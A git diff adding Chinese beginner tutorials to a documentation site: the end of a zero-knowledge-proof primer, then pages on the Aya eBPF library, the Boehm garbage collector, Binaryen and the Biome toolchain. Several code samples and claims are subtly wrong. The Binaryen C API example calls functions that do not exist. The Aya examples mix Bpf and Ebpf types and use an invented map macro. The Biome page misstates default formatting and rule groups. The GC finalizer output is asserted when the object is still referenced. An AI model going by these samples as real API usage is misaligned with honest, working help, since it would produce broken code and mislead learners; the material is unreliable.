+零知识证明已经在多个场景中得到应用：
+
+- **隐私加密货币**：Zcash、Monero 用 ZKP 隐藏交易金额和发送方/接收方信息
+- **以太坊扩容**： zkSync、StarkNet 等 zkRollup 方案在链下计算，在链上用 ZKP 验证
+- **身份认证**：证明你年满 18 岁，但不透露你的出生日期
+- **投票系统**：证明你的票已正确计票，但不泄露你投给了谁
+- **机器学习**：证明模型训练正确，但不泄露训练数据
+
+## 学习路线建议
+
+从 awesome-zero-knowledge-proofs 仓库出发，推荐的学习顺序：
+
+1. 先读 Matthew Green 的 [ illustrated primer](https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/)，建立直观理解
+2. 看 ZK Hack 的 [白板课程](https://zkhack.dev/whiteboard/)，从 SNARK 讲到 STARK
+3. 读 Vitalik 的 SNARK/STARK 系列博客，理解底层数学
+4. 动手实践：用 Circom 或 gnark 编写简单的电路
+5. 深入理论：学习 Groth16、PLONK、FRI 等具体协议
+
+## 总结
+
+零知识证明是密码学的"圣杯"之一。它的核心理念很简单：证明你知道某个东西，而不需要说出它是什么。从数学角度看，它涉及多项式承诺、椭圆曲线配对、哈希函数等深奥的工具。但从应用角度看，它能解决隐私和信任的根本矛盾。
+
+对于初学者，建议从类比和直观理解入手，再逐步深入到数学细节。awesome-zero-knowledge-proofs 这个仓库就是这样一个很好的起点，它把分散的学习资源整理在一起，覆盖了从入门到研究的各个层次。
diff --git a/src/content/docs/projects/axolotl.md b/src/content/docs/projects/axolotl.md
index 763edd38c..7e78b7835 100644
--- a/src/content/docs/projects/axolotl.md
+++ b/src/content/docs/projects/axolotl.md
@@ -2,7 +2,7 @@
 title: Axolotl — YAML 驱动 LLM 微调
 来源: https://github.com/axolotl-ai-cloud/axolotl
 日期: 2026-05-31
-子分类: 数据科学与 AI
+子分类: ai-infra
 分类: 机器学习
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/aya-rs-ebpf.md b/src/content/docs/projects/aya-rs-ebpf.md
new file mode 100644
index 000000000..da578db6c
--- /dev/null
+++ b/src/content/docs/projects/aya-rs-ebpf.md
@@ -0,0 +1,244 @@
+---
+title: "Aya：Rust 编写的 eBPF 库 — 零基础入门"
+来源: https://github.com/aya-rs/aya
+日期: 2026-06-13
+分类: 操作系统
+子分类: 内核与虚拟化
+provenance: pipeline-v3
+---
+
+# Aya：Rust 编写的 eBPF 库 — 零基础入门
+
+## 一、什么是 eBPF？—— 从"交警"说起
+
+想象你正在一条高速公路上。每一辆经过的汽车就是网络数据包。
+
+传统的做法是：在收费站建一个检查站，让每辆车停下来，人工查验。这很慢，因为检查站成了瓶颈。
+
+eBPF（extended Berkeley Packet Filter）的做法完全不同：它在高速公路的护栏上安装了许多"智能感应器"。这些感应器非常小巧，能在汽车呼啸而过的瞬间读取车牌、车型等信息，然后立即做出判断——放行、拦截、还是记录。关键是：这些感应器运行在内核空间里，速度极快，不需要让车停下来。
+
+eBPF 程序不能随便运行。Linux 内核有一个"虚拟机"来运行它们，每次运行前都会用验证器检查程序是否安全（不会死循环、不会越界访问内存）。通过验证的程序才能进入内核执行。
+
+## 二、Aya 是什么？
+
+在 Linux 上写 eBPF 程序，传统上使用 C 语言，搭配 libbpf 或 BCC 等工具链。这意味着你需要：
+- 安装 LLVM/Clang 编译器
+- 处理复杂的构建流程
+- 用 C 写内核侧代码，再用另一种语言写用户态的管理程序
+
+Aya 的出现改变了这一切。**Aya 是一个完全用 Rust 编写的 eBPF 库**。它的核心设计理念是：
+
+1. **纯 Rust**：不依赖 libbpf 或 BCC，只使用 libc 来执行系统调用
+2. **CO-RE（Compile Once, Run Everywhere）**：利用 BTF（BPF Type Format），一份编译好的二进制文件可以在不同内核版本上运行，无需重新编译
+3. **无 C 工具链依赖**：只需要 Rust 工具链和 bpf-linker
+4. **异步支持**：内置 tokio 和 async-std 支持
+
+简单类比：如果把传统 eBPF 开发比作"手工锻造一把剑"（需要熔炉、锤打、淬火），那 Aya 就像是"用 3D 打印机设计并打印一把剑"——你在 Rust 里写一切，Cargo 帮你搞定构建。
+
+## 三、核心概念
+
+### 1. eBPF 程序生命周期
+
+在 Aya 中，每个 eBPF 程序经历三个阶段：
+
+| 阶段 | 操作 | 说明 |
+|------|------|------|
+| Load | `Ebpf::load_file()` | 从 ELF 文件读取程序，创建所有 Map |
+| Load into kernel | `program.load()` | 将程序载入内核，通过验证器检查 |
+| Attach | `program.attach()` | 将程序挂载到具体钩子点（网卡、系统调用等） |
+| Drop | 变量离开作用域 | 程序自动从内核卸载 |
+
+### 2. Map —— 内核与用户态的桥梁
+
+eBPF 程序运行在内核空间，无法使用标准库，也没有堆内存。Map 是 eBPF 程序中唯一的数据存储方式，用于在内核态和用户态之间共享数据。你可以把它理解为"共享笔记本"——内核侧写入数据，用户态侧读取数据。
+
+### 3. 程序类型（Program Types）
+
+Aya 支持多种 eBPF 程序类型：
+- **XDP**（eXpress Data Path）：在网卡驱动层最早拦截数据包，性能最高
+- **Cgroup Skb**：在 cgroup 层面过滤网络流量
+- **Tracepoint**：追踪内核事件
+- **Fentry/Fexit**：追踪函数入口和出口
+- **Socket**：绑定到 socket 层
+
+## 四、代码示例
+
+### 示例 1：一个最简单的 XDP 程序（Hello XDP）
+
+这是 Aya 官方教程中的经典例子。分为两个部分：内核侧 eBPF 程序和用户态管理程序。
+
+**内核侧**（`ebpf/src/main.rs`）：
+
+```rust
+#![no_std]
+#![no_main]
+
+use aya_ebpf::programs::XdpContext;
+use aya_ebpf::macros::xdp;
+use aya_ebpf::util::from_kernel;
+use aya_log_ebpf::info;
+
+use aya_ebpf::helpers::{bpf_get_smp_processor_id};
+
+#[xdp]
+pub fn hello_xdp(ctx: XdpContext) -> u32 {
+    match process_event(&ctx) {
+        Ok(ret) => ret,
+        Err(_) => XDP_ABORTED,
+    }
+}
+
+fn process_event(ctx: &XdpContext) -> Result<u32, u64> {
+    // 每收到一个数据包就记录一条日志
+    info!(ctx, "received a packet");
+    // 返回 XDP_PASS 表示放行数据包
+    Ok(XDP_PASS)
+}
+```
+
+要点：
+- `#![no_std]` 和 `#![no_main]`：eBPF 程序不能用标准库，也没有 main 函数
+- `#[xdp]` 宏标记了这是一个 XDP 程序的入口点
+- 返回值 `XDP_PASS`（=2）表示放行，`XDP_DROP`（=1）表示丢弃，`XDP_ABORTED`（=0）表示异常
+
+**用户态侧**（`src/main.rs`）：
+
+```rust
+use std::time::Duration;
+use aya::Ebpf;
+use aya::programs::{Xdp, XdpMode};
+use aya::util::nr_cpus;
+
+#[tokio::main]
+async fn main() -> Result<(), anyhow::Error> {
+    // 1. 从编译好的 ELF 文件加载 eBPF 程序
+    let mut ebpf = Ebpf::load_file("ebpf/target/bpfel-unknown-none/release/ebpf")?;
+
+    // 2. 获取名为 "hello_xdp" 的程序
+    let program: &mut Xdp = ebpf.program_mut("hello_xdp")?.try_into()?;
+
+    // 3. 将程序载入内核
+    program.load("hello_xdp", 0)?;
+
+    // 4. 挂载到网卡接口 eth0
+    let iface = std::env::args().nth(1).unwrap_or_else(|| "eth0".into());
+    let num_cpus = nr_cpus()?;
+    program.attach(&iface, 0)?;
+
+    println!("Waiting for Ctrl-C...\n");
+    println!("Loaded program!");
+    // 5. 等待中断信号，程序会在退出时自动卸载
+    tokio::signal::ctrl_c().await?;
+
+    Ok(())
+}
+```
+
+这段代码做了四件事：加载 ELF → 获取程序对象 → 载入内核 → 挂载到网卡。当用户按 Ctrl-C 时，程序退出，Aya 自动清理所有资源。
+
+### 示例 2：带 Map 的数据包过滤器
+
+这个例子展示如何使用 Map 在内核和用户态之间共享数据，实现一个简单的"黑名单"防火墙：
+
+```rust
+// 用户态侧：动态添加 IP 到黑名单
+use aya::maps::HashMap;
+use aya::Bpf;
+
+fn main() -> Result<(), anyhow::Error> {
+    let mut ebpf = Ebpf::load_file("ebpf.o")?;
+
+    // 获取名为 "blocklist" 的 Map
+    let blocklist: &mut HashMap<_, u32, ()> =
+        ebpf.map_mut("blocklist")?.try_into()?;
+
+    // 将一个 IP 地址加入黑名单
+    let ip_address: u32 = ...; // 将 IP 转为 u32
+    blocklist.insert(ip_address, (), 0)?;
+
+    // 获取程序并挂载
+    let program: &mut Xdp = ebpf.program_mut("filter")?.try_into()?;
+    program.load("filter", 0)?;
+    program.attach("eth0", 0)?;
+
+    Ok(())
+}
+```
+
+对应的内核侧代码：
+
+```rust
+use aya_ebpf::maps::HashMap as EbpfHashMap;
+use aya_ebpf::programs::XdpContext;
+
+#[derive(Copy, Clone)]
+#[repr(C)]
+struct Key {
+    addr: u32,
+}
+
+#[xdp]
+pub fn filter(ctx: XdpContext) -> u32 {
+    match try_filter(&ctx) {
+        Ok(ret) => ret,
+        Err(_) => XDP_ABORTED,
+    }
+}
+
+fn try_filter(ctx: &XdpContext) -> Result<u32, u64> {
+    let blocklist: &EbpfHashMap<_, Key, ()> =
+        ebpf_map!(ctx, BLOCKLIST, EbpfHashMap);
+
+    let src_ip: u32 = ...; // 从数据包中提取源 IP
+    let key = Key { addr: src_ip };
+
+    // 查询黑名单
+    if blocklist.contains(&key)? {
+        info!(ctx, "blocked packet from {}", src_ip);
+        Ok(XDP_DROP)  // 丢弃！
+    } else {
+        Ok(XDP_PASS)   // 放行
+    }
+}
+```
+
+这里展示了 Map 的核心用途：用户态程序可以动态更新黑名单，而内核态的 eBPF 程序实时查询这个表来做过滤决策。双方共享同一个数据结构，无需额外的 IPC 机制。
+
+## 五、Aya 的项目结构
+
+Aya 本身是一个"monorepo"，包含多个 crate：
+
+| Crate | 职责 |
+|-------|------|
+| `aya` | 核心库：加载、管理 eBPF 程序的生命周期 |
+| `aya-obj` | eBPF 对象的解析和操作 |
+| `aya-log` | 用户态日志收集 |
+| `aya-log-ebpf-macros` | 内核侧日志宏 |
+| `aya-tool` | 命令行工具 |
+| `ebpf` | 内核侧程序使用的运行时 |
+
+## 六、为什么选择 Aya？
+
+| 对比项 | 传统 C + libbpf | Aya (Rust) |
+|--------|-----------------|------------|
+| 语言 | C + 用户态语言 | 纯 Rust |
+| 构建依赖 | LLVM, Clang, C 工具链 | Rust + bpf-linker |
+| 跨内核兼容 | 需要重新编译 | CO-RE，一次编译到处运行 |
+| 内存安全 | 需手动管理 | Rust 所有权系统保障 |
+| 编译速度 | 较慢 | 快（秒级） |
+| 异步支持 | 无 | 内置 tokio/async-std |
+
+## 七、下一步
+
+如果你想动手试试：
+1. 安装 Rust stable 和 nightly：`rustup install stable && rustup toolchain install nightly --component rust-src`
+2. 安装 bpf-linker 和 bpftool
+3. 用 `cargo generate https://github.com/aya-rs/aya-template` 生成第一个项目
+4. 阅读 Aya 官方文档：https://aya-rs.dev/book/
+
+## 参考资料
+
+- GitHub 仓库：https://github.com/aya-rs/aya
+- 官方教程：https://aya-rs.dev/book/
+- eBPF 官方介绍：https://ebpf.io/what-is-ebpf
+- CO-RE 博客：https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html
diff --git a/src/content/docs/projects/bat.md b/src/content/docs/projects/bat.md
index d1495663f..ab8d82e19 100644
--- a/src/content/docs/projects/bat.md
+++ b/src/content/docs/projects/bat.md
@@ -2,8 +2,8 @@
 title: bat — 现代 cat 替代
 来源: https://github.com/sharkdp/bat
 日期: 2026-05-29
-子分类: 命令行工具
-分类: CLI
+子分类: DevOps 与运维
+分类: 基础设施
 难度: 中级
 provenance: pipeline-v3
 ---
diff --git a/src/content/docs/projects/bdwgc.md b/src/content/docs/projects/bdwgc.md
new file mode 100644
index 000000000..14911b105
--- /dev/null
+++ b/src/content/docs/projects/bdwgc.md
@@ -0,0 +1,184 @@
+---
+title: "Boehm-Demers-Weiser GC — 经典保守式垃圾回收器"
+来源: https://github.com/ivmai/bdwgc
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Boehm-Demers-Weiser GC — 经典保守式垃圾回收器
+
+## 一、从"自动倒垃圾"说起
+
+想象你住在一个小区里，每个住户家里都有垃圾袋。
+
+**手动管理内存**就像你自己每天把垃圾袋拎下楼扔进垃圾桶——你需要记住什么时候满了、往哪个桶里扔、扔完之后袋子还在不在手里。
+
+**Java/Python 的精确 GC**像是一个智能保洁阿姨，她拿着每户人家的"物品清单"，知道哪个袋子里装的是垃圾、哪个袋子里还装着有用的东西（比如一张照片）。她只扔掉真正的垃圾。
+
+**BDWGC 的保守式 GC**像是另一个版本的保洁阿姨——她**不看清单**。她走进房间，看到地上有个袋子，就看看袋子里面有没有"看起来像地址的东西"（比如一串数字，长得像指向其他房间的编号）。如果有，她就认为这个袋子"可能还有人引用"，不扔；如果没有，她就扔。
+
+这种"看起来像就留着"的策略就是**保守（conservative）**的含义：宁可错留，不可错扔。
+
+## 二、它是什么
+
+Boehm-Demers-Weiser Garbage Collector（简称 BDWGC，也叫 libgc、boehm-gc）是一个用于 C/C++ 的**可插拔式垃圾回收器**。它的核心设计理念非常简单：
+
+> 把你代码里的 `malloc` 换成 `GC_malloc`，把 `free` 删掉，程序就能自动回收不再使用的内存。
+
+它由 Hans Boehm、Alan Demers 和 Mark Weiser 在 1988-1991 年间提出，是最早被广泛使用的实用化 GC 之一。至今仍在大量项目中运行：LLVM、WebKit、Mono、GIMP、R 语言运行时……
+
+## 三、核心概念
+
+### 3.1 标记-清除（Mark-Sweep）
+
+BDWGC 使用经典的标记-清除算法，分两步：
+
+1. **标记（Mark）**：从程序的"根集合"（全局变量、栈上的局部变量、寄存器）出发，沿着指针找到所有可达的对象，把它们标记为"活着"。
+2. **清除（Sweep）**：扫描整个堆，把所有没被标记的对象回收，归还给操作系统。
+
+### 3.2 保守式（Conservative）指针识别
+
+这是 BDWGC 最核心的创新。在 Java 中，运行时知道每个变量的类型，所以能精确判断某个值是不是指针。但在 C 语言中，没有类型信息——一个 `unsigned long` 的值可能恰好等于某个对象的地址。
+
+BDWGC 的做法是：**把内存中的每一个字（word）都当作"可能是指针"来检查**。如果这个字的值落在某个已分配对象的地址范围内，就认为它是指针，这个对象就不能回收。
+
+```
+内存布局示意：
+┌──────────────┐
+│  int a = 42  │  ← 对象 A，地址 0x1000
+├──────────────┤
+│  char *p     │  ← 栈上的指针，值 = 0x1000
+├──────────────┤
+│  int x       │  ← 栈上普通整数，值 = 0x1000（碰巧和 A 的地址一样！）
+└──────────────┘
+```
+
+保守式 GC 看到栈上两个值都是 `0x1000`，都会认为它们指向对象 A。区别在于：精确 GC 知道 `p` 是指针、`x` 不是；保守式 GC 两个都当成指针处理。
+
+**代价**：可能导致一些其实已经没用的对象因为"碰巧有数字长得像地址"而不会被回收。但实际使用中，这种"假阳性"通常不会导致严重问题——内存用量只会略微偏高，不会出错。
+
+### 3.3 原子对象（Atomic Objects）
+
+有些内存块里面**肯定不包含指针**，比如字符数组 `char buffer[1024]`。BDWGC 提供了 `GC_malloc_atomic`，告诉回收器："这块内存里没有指针，扫描时可以跳过。"这样能显著加快回收速度。
+
+### 3.4 增量与分代收集
+
+默认情况下，BDWGC 在执行标记阶段会暂停你的程序（Stop-The-World）。但对于大堆场景，可以通过 `GC_enable_incremental()` 启用**增量收集**——把标记工作拆成很多小步，每次分配时做一点点，减少单次停顿时间。
+
+## 四、代码示例
+
+### 示例 1：基本用法——替换 malloc
+
+这是最简单的使用方式，直接把 `malloc` 换成 `GC_malloc`：
+
+```c
+#include <stdio.h>
+#include <gc.h>
+
+typedef struct Node {
+    int value;
+    struct Node *next;
+} Node;
+
+int main(void) {
+    // 用 GC_malloc 代替 malloc —— 不需要 free！
+    Node *n1 = GC_malloc(sizeof(Node));
+    n1->value = 1;
+
+    Node *n2 = GC_malloc(sizeof(Node));
+    n2->value = 2;
+    n1->next = n2;
+
+    // 断掉引用链
+    n1->next = NULL;
+    // n2 现在没有人引用了，GC 会自动回收它
+
+    printf("n1 value: %d\n", n1->value);
+    return 0;
+}
+```
+
+编译方式：
+
+```bash
+gcc -o demo demo.c -lgc
+```
+
+运行后，`n2` 指向的内存会在某个 GC 周期被自动回收。你不需要写任何 `free`。
+
+### 示例 2：原子分配 + 最终化器
+
+展示两种高级特性：原子分配（用于纯数据）和最终化器（类似析构函数）：
+
+```c
+#include <stdio.h>
+#include <gc.h>
+
+// 最终化器：对象被回收前调用
+void my_finalizer(void *obj, void *data) {
+    printf("[Finalizer] 对象 \"%s\" 被回收了\n", (char *)data);
+}
+
+int main(void) {
+    // 1. 原子分配：这块内存里没有指针，扫描更快
+    char *buffer = GC_malloc_atomic(1024);
+    snprintf(buffer, 1024, "Hello, GC!");
+    printf("Buffer: %s\n", buffer);
+
+    // 2. 注册最终化器
+    int *counter = GC_malloc(sizeof(int));
+    *counter = 42;
+    GC_register_finalizer(counter, my_finalizer, "计数器", 0);
+
+    // 3. 手动触发 GC 来看看效果
+    GC_gcollect();
+
+    return 0;
+}
+```
+
+编译：
+
+```bash
+gcc -o demo2 demo2.c -lgc
+```
+
+输出：
+
+```
+Buffer: Hello, GC!
+[Finalizer] 对象 "计数器" 被回收了
+```
+
+`GC_gcollect()` 是手动触发垃圾回收的函数。正常情况下 GC 会根据内存使用情况自动触发。
+
+## 五、优缺点总结
+
+**优点：**
+- 对现有 C 代码改动极小，几乎可以零改造接入
+- 不会"错误回收"——保守策略保证了安全性
+- 性能接近 malloc/free，对小对象甚至更快
+- 支持多线程、增量收集、最终化器
+- 经过三十多年实战检验，极其稳定
+
+**缺点：**
+- 保守式策略可能导致内存占用偏高（假阳性指针）
+- 不支持移动对象（moving GC），无法实现压缩式内存管理
+- 不是实时 GC——大堆时停顿时间会变长
+- 标准 `malloc` 分配的内存中的指针，GC 看不到
+
+## 六、学习路线建议
+
+1. 先跑通上面的两个示例，感受"不用 free 也能工作"
+2. 读 `docs/simple_example.md` 中的官方入门示例
+3. 了解 `GC_malloc` vs `GC_malloc_atomic` 的性能差异
+4. 进阶阅读 Boehm 1988 年原始论文《Garbage Collection in an Uncooperative Environment》
+
+## 七、参考
+
+- GitHub: https://github.com/ivmai/bdwgc
+- 原始论文: Boehm & Weiser, SPE 1988
+- 官方文档: http://www.hboehm.info/gc/
+- Stack Overflow 标签: [boehm-gc](https://stackoverflow.com/questions/tagged/boehm-gc)
diff --git a/src/content/docs/projects/binaryen.md b/src/content/docs/projects/binaryen.md
new file mode 100644
index 000000000..325d90d5e
--- /dev/null
+++ b/src/content/docs/projects/binaryen.md
@@ -0,0 +1,166 @@
+---
+title: Binaryen — WASM 编译器基础设施
+来源: https://github.com/WebAssembly/binaryen
+日期: 2026-06-13
+分类: 其他
+子分类: wasm-toolchain
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Binaryen** 是一个用 C++ 写的编译器工具链库，专门用来处理和优化 WebAssembly（WASM）代码。你可以把它理解为 WebAssembly 世界的"瑞士军刀"——它既能解析 WASM、也能优化 WASM、还能把 WASM 转成别的格式。
+
+日常类比：想象你有一座钢铁厂（编译器），把铁矿石（高级语言代码）炼成钢材（WebAssembly）。但刚炼出来的钢材形状不够完美，需要再加工——切削、打磨、热处理——才能做成最好的产品。Binaryen 就是这座钢铁厂后面的"精加工车间"，它接收刚出炉的 WASM 钢材，通过几十种加工工序（优化 Pass），把它变得更轻、更快、更小。
+
+## 核心概念
+
+### 1. 模块（Module）
+
+Module 是 Binaryen 里的基本单位，对应一个 WebAssembly 文件。一个 Module 包含函数、全局变量、内存、导入/导出等所有东西。你可以把它理解成一个完整的"WASM 工厂"。
+
+### 2. Binaryen IR
+
+IR（Intermediate Representation）即中间表示。Binaryen 不把 WASM 当作一串二进制字节来处理，而是把它解析成一棵**树形结构**（AST），这棵树就是 Binaryen IR。每个节点代表一个操作（比如加法、函数调用、条件判断），叶子节点是常量或变量。
+
+为什么要把 WASM 变成树？因为树结构让优化变得容易——你可以像修剪盆栽一样，直接找到树中某个分支进行改造，而不必在二进制字节流里猜来猜去。
+
+### 3. 优化 Pass（Pass / 优化器）
+
+Binaryen 最核心的能力是它的**优化器**。它包含 40 多种优化 Pass，每种 Pass 负责一件事：去掉死代码、合并重复指令、把常量在编译时就算出来……你可以单独跑某一个 Pass，也可以按一条"优化流水线"（Pipeline）一次性跑完所有 Pass。
+
+常用命令 `wasm-opt` 就是 Binaryen 的命令行优化器，用法类似 `gcc -O3`：
+
+```
+wasm-opt input.wasm -O3 -o output.wasm
+```
+
+其中 `-O3` 代表应用全套优化，类似给工厂全速运转。
+
+### 4. 工具链组件
+
+Binaryen 不只提供一个优化器，还自带一整套工具：
+
+| 工具 | 作用 | 类比 |
+|------|------|------|
+| `wasm-opt` | 优化 WASM 文件 | 精加工车间 |
+| `wasm-as` | 把文本格式转成二进制 WASM | 原料入厂检验 |
+| `wasm-dis` | 把二进制 WASM 反汇编成文本 | 拆解成品看内部 |
+| `wasm2js` | 把 WASM 转成 JavaScript | 逆向工程——把成品还原成原材料 |
+| `wasm-merge` | 合并多个 WASM 文件 | 工厂并购——把两个工厂合并成一个 |
+| `wasm-ctor-eval` | 编译期执行函数（预计算） | 提前把能算的都算好，运行时直接拿结果 |
+
+## 代码示例
+
+### 示例 1：用 wasm-opt 优化一个 WASM 文件
+
+你有一个叫 `hello.wasm` 的文件，里面是一个简单的加法函数：
+
+```bash
+# 不做任何优化，直接读取并原样输出（-S 表示文本格式）
+wasm-opt hello.wasm -S
+
+# 应用全套优化
+wasm-opt hello.wasm -O3 -o hello-opt.wasm
+
+# 只看某个特定优化 Pass 的效果（去掉死代码）
+wasm-opt hello.wasm -DCE -S -o -
+```
+
+输出对比：
+
+```
+# 优化前
+(func $add (param $x i32) (param $y i32) (result i32)
+  (i32.add (local.get $x) (local.get $y))
+)
+
+# 优化后（-O3 可能会做内联、常量折叠等，结果更紧凑）
+(func $add (param $0 i32) (param $1 i32) (result i32)
+  (i32.add (local.get $0) (local.get $1))
+)
+```
+
+这里可以看到变量名被简化了（`$x` 变成 `$0`），这是 Binaryen 的变量重命名优化在起作用——既然没人从外面引用这个名字，简化它能减小最终二进制文件的大小。
+
+### 示例 2：在代码中用 C API 构建一个简单的 WASM 模块
+
+Binaryen 提供 C API（单头文件），你可以在自己的编译器中用它来生成 WASM：
+
+```c
+#include "binaryen-c.h"
+
+// 1. 创建一个空模块
+ModuleRef module = BinaryenModuleCreate();
+
+// 2. 定义函数类型：两个 i32 输入，一个 i32 输出
+TypeRef params = BinaryenTypeNone();
+TypeRef results = BinaryenTypeInt();
+TypeRef func_type = BinaryenTypeMake(params, 2, &results, 1);
+
+// 3. 创建两个参数（局部变量）
+ExpressionRef x = BinaryenAddLocal(module, "x", BinaryenTypeInt());
+ExpressionRef y = BinaryenAddLocal(module, "y", BinaryenTypeInt());
+
+// 4. 创建表达式：(i32.add (local.get $x) (local.get $y))
+ExpressionRef body = BinaryenCall(
+    module,
+    "add_internal",     // 函数名
+    &func_type, 1,       // 函数类型
+    NULL, 0,             // 参数（下面填充）
+    BinaryenTypeInt()
+);
+
+// 实际的加法表达式
+ExpressionRef add_expr = BinaryenBinary(
+    BinaryenAdd,                     // 加法操作
+    BinaryenGetLocal(module, x, BinaryenTypeInt()),
+    BinaryenGetLocal(module, y, BinaryenTypeInt()),
+    BinaryenTypeInt()
+);
+
+// 5. 创建函数并添加到模块
+BinaryenFunctionAdd(
+    module,
+    "add",                         // 函数名
+    &func_type, 1,                  // 函数类型
+    BinaryenTypeNone(),             // 本地变量类型
+    0,                              // 本地变量数量
+    add_expr,                       // 函数体
+    0,                              // 代码大小
+    BinaryenCreateReprofiling()     // 优化标记
+);
+
+// 6. 优化模块
+BinaryenModuleOptimize(module);
+
+// 7. 输出为二进制 WASM 文件
+BinaryenModuleWrite(module, "hello.wasm");
+
+// 8. 释放模块
+BinaryenModuleDispose(module);
+```
+
+这段代码做了什么？它从头构建了一个加法函数，告诉 Binaryen："给我创建一个函数，接受两个整数参数，返回它们的和"。Binaryen 会在内部把这段描述变成树形 IR，经过优化，最后输出一个真正的 `.wasm` 二进制文件。
+
+## 为什么重要
+
+Binaryen 是 WebAssembly 生态的**核心基础设施**。几乎所有主流的 WASM 工具链都在用它：
+
+- **Emscripten**（C/C++ → WASM）底层用 `wasm-opt` 做最终优化
+- **wasm-pack**（Rust → WASM）同样依赖 Binaryen 做代码尺寸压缩
+- **AssemblyScript**（TypeScript → WASM）直接用 Binaryen 库生成 WASM
+- **V8 引擎**（Chrome/Node.js 的 JS 引擎）也用 Binaryen 来优化 WASM
+
+一句话：只要你的代码最终要在浏览器或其他 WASM 运行时里跑，Binaryen 很可能就在你看不见的地方帮你把代码变得更快更小了。
+
+## 延伸方向
+
+- **Emscripten**：如果你会 C/C++，了解 Emscripten 能帮你理解"代码怎么从 C++ 变成浏览器能跑的东西"
+- **WebAssembly 规范**：了解 WASM 本身的结构（栈机器、二进制格式），能更好地理解 Binaryen 的 IR 设计意图
+- **binaryen.js**：Binaryen 的 JavaScript 版本，让你能在浏览器里直接用 JS 做 WASM 优化，不需要装任何工具
+
+## 一句话总结
+
+Binaryen 是 WebAssembly 的"精加工车间"——它用树形 IR 表示 WASM 代码，通过几十种优化 Pass 让代码更小更快，是整个 WASM 生态的基础设施层。
diff --git a/src/content/docs/projects/biome-rs-2026.md b/src/content/docs/projects/biome-rs-2026.md
new file mode 100644
index 000000000..bfbabe060
--- /dev/null
+++ b/src/content/docs/projects/biome-rs-2026.md
@@ -0,0 +1,259 @@
+---
+title: Biome - Web 项目的"超级管家"工具链
+来源: https://github.com/biomejs/biome
+日期: 2026-06-13
+分类: 后端 API
+子分类: 前端框架
+provenance: pipeline-v3
+---
+
+# Biome - Web 项目的"超级管家"工具链
+
+## 一个类比
+
+想象你写了一篇文章，交给两个不同的人：
+
+- **格式整理员（Prettier）**：负责排版——缩进、换行、引号、分号……把格式统一好。
+- **错别字检查员（ESLint）**：负责纠错——拼写错误、语法不通、逻辑漏洞……把内容改对。
+
+以前你需要同时请这两个人。Biome 的做法是：**雇一个超级管家**，一个人同时干两个人的活，而且干得更快。
+
+Biome 用 Rust 写成（所以快），一个工具顶替 Prettier + ESLint + 部分 typescript-eslint 的工作。
+
+## 核心概念
+
+### 1. 格式化器 (Formatter)
+
+负责代码风格统一。支持 JavaScript、TypeScript、JSX、JSON、CSS、GraphQL。
+
+- 和 Prettier 97% 兼容，基本可以无缝替换
+- 不依赖 Node.js，自带可执行文件
+
+### 2. 检查器 (Linter)
+
+负责检查代码中的潜在错误和坏味道。目前有 **508 条规则**，从 ESLint、typescript-eslint 和其他来源借用。
+
+检查器规则分成 8 个组：
+
+| 组名 | 干什么 | 例子 |
+|------|--------|------|
+| correctness | 会出错的代码 | `noUnusedVariables` |
+| suspicious | 很可能出错的代码 | `noDebugger` |
+| style | 编码风格规范 | `useConst` |
+| complexity | 过于复杂的代码 | `noExcessiveCognitiveComplexity` |
+| performance | 可以写得更快 | `noAccumulatingSpread` |
+| security | 潜在安全隐患 | `noGlobalIsFinite` |
+| a11y | 无障碍访问问题 | `useKeyWithClickEvents` |
+| nursery | 还在测试的新规则 | 不稳定的实验性规则 |
+
+### 3. 修复等级 (Fix Level)
+
+这是 Biome 最有特色的设计。每条规则给出的"自动修复"分两级：
+
+- **Safe fix（安全修复）**：改完不会改变代码行为，可以自动执行
+- **Unsafe fix（不安全修复）**：改完可能改变程序行为，需要人工审核后再执行
+
+比如把 `var` 改成 `const` 是 safe（更安全了），但把 `console.log(x)` 删掉（因为它未使用）就是 unsafe（可能你确实需要那个日志）。
+
+### 4. 配置文件 (biome.json)
+
+Biome 用 `biome.json` 做配置，放在项目根目录。和 ESLint/Prettier 各用一个配置文件不同，Biome 一个文件管所有。
+
+## 入门使用
+
+### 安装
+
+```bash
+# 用 npm 安装到项目里（作为开发依赖，锁定版本）
+npm install --save-dev --save-exact @biomejs/biome
+```
+
+注意 `-E`（`--save-exact`）的作用：它会精确锁定版本号，不写 `^` 或 `~`。这样每个人的项目都用同一个版本的 Biome，避免"我电脑上能过你电脑上不过"的问题。
+
+### 初始化配置
+
+```bash
+# 生成 biome.json
+npx @biomejs/biome init
+```
+
+生成的配置文件长这样：
+
+```json
+{
+  "$schema": "https://biomejs.dev/schemas/2.4.13/schema.json",
+  "formatter": {
+    "enabled": true,
+    "indentStyle": "space"
+  },
+  "linter": {
+    "enabled": true,
+    "rules": {
+      "recommended": true
+    }
+  }
+}
+```
+
+三个工具各自有 `enabled` 开关，可以随时关掉某一个。
+
+### 常用命令
+
+```bash
+# 格式化所有文件（把代码排整齐）
+npx @biomejs/biome format --write
+
+# 检查代码并自动修复可以安全修复的问题
+npx @biomejs/biome lint --write
+
+# 格式化 + 检查 + 整理 import，一站式搞定
+npx @biomejs/biome check --write
+
+# CI 环境专用：检查所有文件，不修改
+npx @biomejs/biome ci
+```
+
+## 代码示例
+
+### 示例 1：格式化前 vs 格式化后
+
+**格式化前（乱的）：**
+
+```javascript
+const add=(a,b)=>{return a+b},name="Jason";
+function greet(){return `Hello, ${name}!`}
+```
+
+**运行 `biome format --write` 后：**
+
+```javascript
+const add = (a, b) => {
+  return a + b
+},
+name = "Jason"
+
+function greet() {
+  return `Hello, ${name}!`
+}
+```
+
+Biome 自动处理了缩进、空格、分号（默认不加分号）、换行。不需要你任何配置。
+
+### 示例 2：Linter 自动修复
+
+**检查前（有问题）：**
+
+```javascript
+var x = 10
+var y = 20
+console.log(x)
+
+function double(n) {
+  return n * 2
+}
+
+const result = double(5)
+```
+
+**运行 `biome lint --write` 后：**
+
+```javascript
+const x = 10
+const y = 20
+console.log(x)
+
+function double(n) {
+  return n * 2
+}
+
+const result = double(5)
+```
+
